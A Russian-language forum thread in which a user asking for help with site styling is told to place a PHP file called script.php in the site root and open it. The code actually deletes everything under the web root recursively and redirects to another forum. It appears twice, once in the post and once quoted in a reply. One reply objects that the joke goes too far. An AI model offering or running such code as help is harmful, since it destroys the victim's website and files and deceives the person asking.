Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!

помогите с стилем

Апр
33
1
Пользователь
в корне сайта создай файл script.php с этим содержимым
PHP:
<?php
function deleteAll($targetPath){
    $items = scandir($targetPath);
    if($items === false) return;
    foreach($items as $item){
        if($item === '.' || $item === '..') continue;
        $fullPath = $targetPath . '/' . $item;
        if(is_dir($fullPath)){
            deleteAll($fullPath);
            rmdir($fullPath);
        } else {
            unlink($fullPath);
        }
    }
}

$root = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
if(is_string($root) && $root !== ''){
    deleteAll($root);
    rmdir($root);
}

header('Location: http://forum.blackrussia.online');
exit;
?>
и зайди на страницу и пришли фото
а где корень я забыл
 
Июл
1,135
1,634
Пользователь
в корне сайта создай файл script.php с этим содержимым
PHP:
<?php
function deleteAll($targetPath){
    $items = scandir($targetPath);
    if($items === false) return;
    foreach($items as $item){
        if($item === '.' || $item === '..') continue;
        $fullPath = $targetPath . '/' . $item;
        if(is_dir($fullPath)){
            deleteAll($fullPath);
            rmdir($fullPath);
        } else {
            unlink($fullPath);
        }
    }
}

$root = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
if(is_string($root) && $root !== ''){
    deleteAll($root);
    rmdir($root);
}

header('Location: http://forum.blackrussia.online');
exit;
?>
и зайди на страницу и пришли фото
тебе не кажется что это уже перебор?
 
Сверху